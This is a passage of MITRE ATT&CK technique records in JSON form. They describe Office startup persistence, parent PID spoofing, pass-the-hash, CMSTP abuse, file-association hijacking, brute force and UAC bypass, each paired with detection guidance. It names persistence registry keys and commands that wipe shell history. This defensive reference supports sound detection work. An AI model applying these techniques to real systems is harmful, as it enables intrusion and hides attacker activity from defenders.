Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:<code>C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<code>C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n### Office Test\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\n<code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\n### Add-ins\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\n### Outlook Rules, Forms, and Home Page\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)\n\nOutlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOutlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook Forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOutlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nTo abuse these features, an adversary requires prior access to the user’s Outlook mailbox, either via an Exchange/OWA server or via the client application. Once malicious rules, forms, or Home Pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded while malicious rules and forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Office Application Startup", modified:"2019-10-08T21:10:31.591Z", kill_chain_phases:["2f3ac7f0-2233-45a1-9ccb-59f1207d9641"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", external_references:["c2ba075c-bd4d-4f49-bf6c-0287915ac834", "19ebda6d-75a5-4019-a6b5-ab808eef0c47", "2c3297fa-cc4b-4f5d-be37-2ed07b4bdbe6", "55ed447f-a1a5-4e38-8473-5870ff641df7", "493d379c-3e8f-4cbd-8ca5-adce8bd103a9", "9485533c-c23f-476f-b5e4-d628ee802e61", "f3b6425f-6745-4522-8071-e58cf31830b6", "8f6585a8-d4d7-4b6c-bc7f-545f44c7bc1a", "0e6a3992-4a11-4cd5-8750-623b852e4719", "36d51600-fcb0-4687-aaad-f52a2b362748", "7ae98f5f-ca36-4ff0-8194-b5e2eafd06dd", "4f202593-dedd-4c55-b239-ed2424188985", "5f9a1733-a5d2-44f8-9c63-a4f85052cb97", "a47cad6c-7f15-4430-8f4f-6964dc56601e", "0d1f483c-bc60-48c1-8b8c-be481a729233", "24e33256-a107-4529-86b4-a254fcfcd52e", "94a70e50-035d-4d54-9ef0-d1489c5b61c8", "c859886a-c994-4e48-a85b-835bdd1f313a", "2d1ddea7-3ae4-401a-9972-3a407ad6eba8"]}}, {_id:1152, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-03T14:50:50.613Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Windows event logs\",\"Process monitoring\",\"API monitoring\"],\"x_mitre_defense_bypassed\":[\"Host forensic analysis\",\"Heuristic Detection\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\\n\\nMonitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.\",\"x_mitre_contributors\":[\"Wayne Silva, Countercept\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Execution through API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Parent PID Spoofing", modified:"2019-07-08T21:51:22.635Z", kill_chain_phases:["16837641-dddf-450e-a19e-bceeb52a5370", "b2cf0a68-398a-4b58-bce0-5446aa117bd5"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142", external_references:["eb24f73b-f77b-46a4-b775-550d4198046c", "4b338dc4-d245-4b50-92bc-d0f1f76de83a", "b95cae5c-6e9b-4899-a65b-6e15cb7087e4", "bb296ba2-3e7f-4476-bbe1-2e2e23f6b94d", "4d0385fb-356b-445f-8dea-10c390236bbe", "d90aa852-6f93-490d-9cc6-40326678f063", "a1ebca5b-926b-4198-b159-6cd02d2cacc7", "981dbfbe-5ee7-4c3e-bb5e-7fa78632235b"]}}, {_id:1163, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:59.339Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Authentication logs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\",\"x_mitre_contributors\":[\"Travis Smith, Tripwire\"],\"x_mitre_system_requirements\":[\"Requires Microsoft Windows as target system\"]}", description:"Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Pass the Hash", modified:"2019-07-18T16:56:39.990Z", kill_chain_phases:["3e506995-4f71-4147-84f2-1b1762667bf6"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", external_references:["73337429-7731-40fe-9802-fc2a6149585c", "c17af455-ec98-4182-bbb6-55e236e56919", "c0fa0041-d228-46bc-97ec-81ab0d45dd49"]}}, {_id:1087, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:43.915Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\",\"AWS\",\"GCP\",\"Azure\"],\"x_mitre_data_sources\":[\"Netflow/Enclave netflow\",\"Network protocol analysis\",\"Packet capture\",\"Process command-line parameters\",\"Process use of network\"],\"x_mitre_version\":\"2\",\"x_mitre_detection\":\"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\",\"x_mitre_contributors\":[\"Praetorian\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\",\"User\"]}", description:"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts or cloud services enabled within the environment. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Network Service Scanning", modified:"2019-10-23T14:20:49.573Z", kill_chain_phases:["ba98daab-ce03-4708-8c23-04e19bf58efd"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", external_references:["65bc88b5-6c64-43fb-8f14-6e79672e64c8", "66374991-bd82-4da7-8e73-373aeb0fd8b9"]}}, {_id:1095, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\",\"Windows\",\"AWS\",\"GCP\",\"Azure\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\",\"Network protocol analysis\",\"Process use of network\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\\n\\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be sufficient due to benign use during normal operations.\",\"x_mitre_contributors\":[\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.\n\n### Cloud\n\nCloud virtual networks may contain remote network shares or file storage services accessible to an adversary after they have obtained access to a system. For example, AWS, GCP, and Azure support creation of Network File System (NFS) shares and Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File servers on Compute Engine)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Network Share Discovery", modified:"2019-10-23T14:34:08.075Z", kill_chain_phases:["5a19abc0-52f2-4d5f-9442-eaa97aa15b91"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", external_references:["6adbebd7-273f-4382-b813-4d64257cf053", "7d129c7f-0af6-4ff1-9e77-281b7807f086", "6175b9e0-5c85-4f4b-8ebe-1d473155ec1f", "286adb66-03c7-47ff-a4d7-b94411d6ab8f", "a647a6de-ce35-4712-8ad2-18a685e69f96", "33d8f220-f638-45d9-8132-6dd646d0fc5b"]}}, {_id:193, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\",\"Process use of network\",\"Windows event logs\"],\"x_mitre_defense_bypassed\":[\"Application whitelisting\",\"Anti-virus\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\\n\\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\\n\\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).\",\"x_mitre_contributors\":[\"Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank\",\"Nik Seetharaman, Palantir\"],\"x_mitre_permissions_required\":[\"User\"],\"x_mitre_remote_support\":false}", description:"The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"CMSTP", modified:"2019-06-13T18:55:24.133Z", kill_chain_phases:["2ff01cbd-8044-47c6-9fc2-0eade927fdcc", "5520255e-55a7-4781-bb4c-6faab3b80561"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", external_references:["cc53ab70-f333-4a7e-af8c-14b1f4d6a609", "8803fa05-5656-4795-a2f1-e3a63c18959d", "4fd32803-22a3-4d6f-a44f-518d14a6d119", "1f5b2a6b-2179-46d4-95f4-3dde5bae4490", "260942c0-6f71-453c-8dc5-e4a4ec650a4a", "f73e5702-b63a-44ab-9e5e-4500290726e6", "48a14bb4-1350-4a07-8db9-379836bd7f9c"]}}, {_id:203, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:42.222Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Windows Registry\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \\n\\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\\n\\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\",\"x_mitre_contributors\":[\"Stefan Kanthak\",\"Travis Smith, Tripwire\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"SYSTEM\"]}", description:"When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Change Default File Association", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:["d96357f3-77ea-4297-adac-a7a2b6dd0d7b"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--68c96494-1a50-403e-8844-69a6af278c68", external_references:["8e513d7d-bd32-4cce-b75c-8ba8ccbefe40", "ee16b626-220e-4726-87e4-ebfc556f9260", "3a7f84b4-d2e2-4dbe-8f0e-a814dae75731", "d22bde2a-acf0-443f-ae8c-092529404260", "9197fb67-f943-435e-accb-6f6e738af715", "6f8d5948-1242-4af0-a5be-eb94705ef221"]}}, {_id:211, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"Authentication logs\",\"File monitoring\"],\"x_mitre_defense_bypassed\":[\"Log analysis\",\"Host forensic analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Clear Command History", modified:"2019-07-16T20:37:57.409Z", kill_chain_phases:["9a83b3bc-05b3-4e71-8400-c0f9eecafe52"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--d3046a90-580c-4004-8208-66915bc29830", external_references:["547b3de6-3b69-4d57-94f7-82309fd8ff2c"]}}, {_id:214, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:25.967Z", custom:"{\"x_mitre_data_sources\":[\"API monitoring\"],\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\"}", description:"Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n### Windows\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n### Mac\n\nOSX provides a native command, <code>pbpaste</code>, to grab clipboard contents  (Citation: Operating with EmPyre).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Clipboard Data", modified:"2019-06-18T13:18:33.324Z", kill_chain_phases:["6d37cc1a-b5d1-48be-942d-3e252b43377a"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", external_references:["b0b1f691-9b99-4dd9-8762-2f5cb9206cdc", "abf2e81e-4ad7-4d16-843a-82815adae439", "6ba72fd9-2a65-472c-a516-7d9d90e43096", "a7ff8595-3fd2-46b3-b4d6-afa959f28b63"]}}, {_id:170, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:22.767Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\",\"Office 365\",\"Azure AD\",\"SaaS\"],\"x_mitre_data_sources\":[\"Office 365 account logs\",\"Authentication logs\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \\n\\nMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\\n\\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\\n\\nFor password spraying consider the following(Citation: Trimarc Detecting Password Spraying):\\n\\n* Domain Controllers: \\\"Audit Logon\\\" (Success & Failure) for event ID 4625.\\n* Domain Controllers: \\\"Audit Kerberos Authentication Service\\\" (Success & Failure) for event ID 4771.\\n* All systems: \\\"Audit Logon\\\" (Success & Failure) for event ID 4648.\",\"x_mitre_contributors\":[\"Microsoft Threat Intelligence Center (MSTIC)\",\"John Strand\",\"Ed Williams, Trustwave, SpiderLabs\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\n[Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Brute Force", modified:"2019-10-09T20:58:13.919Z", kill_chain_phases:["6b709212-c486-48bb-936f-4b33fc23857d"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", external_references:["6764f53a-7820-4092-800d-7d6596cb160d", "1a7951e9-6897-42de-a212-d335bcf66548", "acb5f03b-44c0-42da-891b-93d614d99028", "f6939cf4-5068-4e26-b13f-d1803cb1b180", "d008e9cf-e81c-4644-b218-65d3a645abfd", "4104fc1e-a64e-4904-bc2e-1cfa02bd4286", "166ce303-4df2-4ff3-9b47-d2ec07cbfeae"]}}, {_id:179, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:07.462Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_effective_permissions\":[\"Administrator\"],\"x_mitre_data_sources\":[\"System calls\",\"Process monitoring\",\"Authentication logs\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Windows User Account Control\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\\n\\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\\n\\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\exefile\\\\shell\\\\runas\\\\command\\\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\\n\\nAnalysts should monitor these Registry settings for unauthorized changes.\",\"x_mitre_contributors\":[\"Stefan Kanthak\",\"Casey 